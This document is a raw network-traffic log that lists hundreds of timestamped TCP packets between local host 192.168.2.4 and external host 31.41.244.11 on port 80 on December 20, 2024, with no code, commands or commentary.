Dec 20, 2024 04:12:11.685319901 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.685350895 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.685415030 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.686451912 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.686501980 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.686562061 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.686608076 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.687665939 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.687715054 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.687786102 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.687833071 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.688924074 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.688999891 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.689026117 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.689071894 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.690165043 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.690210104 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.690279007 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.690330982 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.691416025 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.691461086 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.691536903 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.691581011 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.692671061 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.692725897 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.692791939 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.692847967 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.693938017 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.693988085 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.694019079 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.694066048 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.695174932 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.695229053 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.695277929 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.695327044 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.696449995 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.696497917 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.696525097 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.696573973 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.697691917 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.697748899 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.697807074 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.697851896 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.698868036 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.698915958 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.825272083 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.825403929 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.825475931 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.825475931 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.825790882 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.825860977 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.826004028 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.826051950 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.826066971 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.826121092 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.827213049 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.827267885 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.827343941 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.827394962 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.828423977 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.828479052 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.828489065 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.828543901 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.829610109 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.829668045 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.829694033 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.829737902 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.830804110 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.830857992 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.830926895 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.830981970 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.832016945 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.832072973 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.832102060 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.832153082 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.833214998 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.833266973 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.833318949 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.833369970 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.834418058 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.834466934 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.834487915 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.834537029 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.835598946 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.835650921 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.835664988 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.835715055 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.836808920 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.836864948 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.836925983 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.836977959 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.838021040 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.838098049 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.838129997 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.838176966 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.839220047 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.839272976 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.839301109 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.839353085 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.840425968 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.840476990 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.840509892 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.840560913 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.841635942 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.841682911 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.841727972 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.841774940 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.842808008 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.842860937 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.842910051 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.842962027 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.844023943 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.844074965 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.844124079 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.844175100 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.845215082 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.845268965 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.845321894 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.845366001 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.846415043 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.846468925 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.846525908 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.846576929 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.847608089 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.847657919 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.847691059 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.847737074 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.848856926 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.848906040 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.849020958 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.849070072 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.850027084 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.850078106 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.850110054 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.850161076 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.851206064 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.851254940 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.851275921 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.851327896 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.852405071 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.852452993 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.852456093 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.852562904 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.853621960 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.853674889 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.853722095 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.853765965 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.854811907 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.854866028 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.854897022 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.854943991 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.856015921 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.856067896 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.856132030 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.856184006 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.857212067 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.857285023 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.857357979 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.857403994 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.858438969 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.858489990 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.858545065 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.858592987 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.859632015 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.859683037 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.859699965 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.859746933 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.860824108 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.860876083 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.860909939 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.860960960 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.862020016 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.862071991 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.862122059 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.862171888 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.863221884 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.863274097 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.863316059 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.863389969 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.864411116 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.864463091 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.864597082 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.864648104 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.865617037 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.865668058 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.865725994 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.865776062 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.866833925 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.866888046 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.866926908 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.866978884 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.868029118 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.868082047 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.868082047 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.868127108 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.869221926 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.869275093 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.869330883 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.869376898 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.870423079 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.870474100 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.870526075 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.870574951 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.871624947 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.871675014 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.871721983 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.871773958 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.872819901 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.872899055 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.872952938 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.872998953 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.874030113 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.874085903 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.874116898 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.874176025 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.875241995 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.875291109 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.875356913 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.875407934 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.876425028 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.876478910 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.876521111 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.876576900 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.877616882 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.877670050 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.877729893 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.877782106 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.878834963 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.878894091 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.878922939 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.878972054 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.880048037 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.880099058 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.880126953 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.880175114 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.881227970 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.881293058 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.881328106 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.881377935 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.882424116 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.882474899 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.882540941 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.882587910 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.883630037 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.883680105 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.883728981 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.883778095 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.884861946 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.884913921 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.884947062 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.884998083 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.886045933 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.886106968 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.886137962 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.886210918 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.887249947 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.887300014 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.887319088 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.887370110 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.017499924 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.017568111 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.017684937 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.017744064 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.018075943 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.018129110 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.018156052 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.018207073 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.019246101 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.019299030 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.019366026 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.019418955 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.020417929 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.020472050 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.020525932 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.020577908 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.021614075 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.021666050 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.021692038 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.021733999 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.022802114 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.022857904 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.022939920 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.022991896 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.023974895 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.024028063 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.024071932 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.024122000 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.025203943 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.025257111 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.025266886 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.025309086 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.026386023 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.026439905 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.026595116 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.026643991 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.027560949 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.027617931 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.027652025 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.027704954 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.028748989 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.028800011 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.028862000 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.028911114 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.029916048 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.029970884 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.029999018 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.030051947 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.031135082 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.031188011 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.031250954 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.031300068 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.032332897 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.032381058 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.032382965 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.032424927 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.033485889 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.033538103 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.033565044 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.033611059 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.034693003 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.034750938 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.034827948 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.034879923 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.035875082 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.035927057 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.035981894 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.036031961 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.037081957 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.037134886 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.037285089 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.037333965 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.038265944 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.038333893 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.038366079 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.038410902 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.039431095 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.039479971 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.039546013 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:12.039592981 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:12.040608883 CET	80	49766	31.41.244.11	192.168.2.4
